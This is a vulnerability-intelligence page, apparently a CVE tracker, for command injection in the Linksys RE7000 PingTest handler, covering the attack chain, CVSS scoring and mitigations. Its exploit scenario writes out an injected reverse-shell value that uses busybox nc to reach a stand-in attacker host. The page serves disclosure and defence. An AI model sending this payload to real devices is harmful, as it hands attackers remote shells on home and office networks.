Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain RE7000 low-privilege credentials (default or guessed)
-
DeliverySend crafted POST to /cgi-bin/json.cgi?PingTest
-
ExploitInject shell metacharacters in pingTestIp/pingTestPktSize/pingTestTimes
-
ExecutionFirmware executes injected OS commands
-
PersistAttain persistent shell on device
-
ImpactIntercept or manipulate LAN traffic
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires: (1) network reachability to the RE7000 management interface - by default on the LAN segment (port 80/443); if remote management is enabled, potentially reachable from the WAN; (2) valid credentials with at minimum low-privilege access to the device web UI (PR:L per CVSS 4.0 vector - exploitation is NOT unauthenticated). Limiting factors: the credential barrier is the sole meaningful protection; consumer devices are frequently deployed with unchanged default credentials (commonly 'admin'/'admin' or printed on the device label), which substantially reduces this barrier in practice. Exploitation via the WAN interface is limited to devices where remote management has been explicitly enabled - not the default. All three injectable parameters (pingTestIp, pingTestPktSize, pingTestTimes) are independently exploitable, giving the attacker multiple injection points within the same handler. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N, VC:H/VI:H/VA:H, SC:H/SI:H/SA:H, E:P) reflects a network-accessible, low-complexity injection with public exploit code and full impact including scope change to subsequent systems such as LAN hosts. The PR:L requirement - low-privilege authentication - is the primary barrier to exploitation; however, consumer range extenders are notoriously operated with default or weak credentials, making this barrier low in practice. No CISA KEV listing is present at time of analysis, but the GitHub PoC (limou89/somevul) removes skill barriers significantly. The scope-change metrics (SC:H/SI:H/SA:H) indicate that device compromise could enable traffic interception, DNS manipulation, or lateral movement into the LAN. EPSS data is absent from the provided intelligence - this is a gap; the combination of public PoC, network vector, low complexity, and a widely deployed consumer device class warrants treating this as elevated real-world priority despite the lack of KEV confirmation. |
| Exploit ScenarioDerived | An attacker with valid credentials to the RE7000 web management interface - commonly default credentials that have not been changed - sends a crafted HTTP POST request to /cgi-bin/json.cgi?PingTest with a pingTestIp value such as '127.0.0.1;$(busybox nc attacker.com 4444 -e /bin/sh)'. The firmware's platform_event_pingTest function interpolates the parameter directly into a shell command, spawning a reverse shell. A public proof-of-concept demonstrating this injection is available at https://github.com/limou89/somevul/blob/main/Linksys_RE7000_v2_PingTest_Command_Injection.md. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Sep 07, 2026
OS command injection in Linksys RE7000 firmware 2.0.15 allows authenticated low-privilege attackers to execute arbitrary commands on the device by manipulating the pingTestIp, pingTestPktSize, or pingTestTimes parameters of the PingTest CGI handler. The /cgi-bin/json.cgi?PingTest endpoint passes these parameters unsanitized to underlying shell commands, resulting in full device compromise and potential impact to adjacent network infrastructure. A public proof-of-concept exploit is available on GitHub, substantially lowering the exploitation barrier.
Earlier versions of this analysis (1)
OS command injection in the Linksys RE7000 WiFi range extender (firmware 2.0.15) lets remote attackers execute arbitrary shell commands via the platform_event_pingTest function reached through /cgi-bin/json.cgi?PingTest. The pingTestIp, pingTestPktSize, and pingTestTimes parameters are passed unsanitized into a system command, enabling full device takeover. Publicly available exploit code exists, though no active exploitation has been confirmed in CISA KEV.
RemediationAI
No vendor-released patch is identified at time of analysis - the Linksys vendor page is referenced but no specific advisory or confirmed fix firmware version appears in the available intelligence. As immediate compensating controls: disable remote (WAN-side) management on the RE7000 if it is not required, since default Linksys configurations typically restrict management to LAN-side access; enforce LAN-side access controls by placing the extender's management interface behind a VLAN or firewall rule that limits management access to trusted administrator hosts only. Change any default or weak credentials on the device immediately, as the PR:L requirement means the attack is credential-gated - eliminating guessable credentials meaningfully raises the bar. Monitor the Linksys security page at https://www.linksys.com/ and the VulDB tracking entry at https://vuldb.com/cve/CVE-2026-86299 for firmware updates addressing this CVE.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is the platform_event_pingTest function implemented within the /cgi-bin/json.cgi CGI endpoint on Linksys RE7000 range extender firmware version 2.0.15. The PingTest handler exposes three parameters - pingTestIp, pingTestPktSize, and pingTestTimes - intended for network diagnostic ping operations. These are concatenated directly into OS-level shell commands without sanitization, constituting CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The affected CPE is cpe:2.3:a:linksys:re7000:*:*:*:*:*:*:*:* with a wildcard version field indicating broader firmware versions may be affected beyond 2.0.15. This pattern of unsanitized CGI parameter injection into shell commands is characteristic of embedded Linux firmware in consumer SOHO networking devices, where ping/diagnostic functions are frequent injection points.
Know when Re7000 gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
Network-reachable CGI endpoint confirmed by CVSS 4.0 PR:L; scope change to adjacent LAN systems justified by SC:H/SI:H/SA:H in provided vector.
Primary rating from Vendor (VulDB).
CVSS VectorVendor: VulDB
Lifecycle Timeline
4DescriptionCVE.org
A vulnerability was detected in Linksys RE7000 2.0.15. This affects the function platform_event_pingTest of the file /cgi-bin/json.cgi?PingTest of the component PingTest Handler. The manipulation of the argument pingTestIp/pingTestPktSize/pingTestTimes results in os command injection. The attack can be launched remotely. The exploit is now public and may be used.
Technical POC Analysis
CWE-78: OS command injection in the PingTest CGI path of Linksys RE7000 v2 firmware v2.0.15.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Latest POC
1 PoC candidate from github (unverified)
Sign in to open the public PoC links collected for this CVE.
Executive ViewAI
Linksys RE7000 WiFi range extenders running firmware 2.0.15 are vulnerable to command injection attacks by authenticated low-privilege users, with publicly available exploit code lowering the exploitation barrier. Device compromise enables attackers to pivot into internal network infrastructure, posing a significant lateral movement risk. Organizations should immediately inventory affected devices and isolate them pending vendor remediation.
No vendor-released patch identified at time of analysis. Interim mitigations: restrict network access to affected range extenders via firewall rules limiting CGI endpoint access; disable the management web interface if functionality permits; enforce strong authentication (multi-factor if available) on all management accounts; monitor the /cgi-bin/json.cgi endpoint for suspicious parameter manipulation involving pingTestIp, pingTestPktSize, or pingTestTimes; consider physically isolating affected devices or replacing with updated hardware until vendor releases patched firmware.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-72349
GHSA-8gm9-6v5q-x2cp
NVD
CVE.org
EPSS
VulDB
Exploit-DB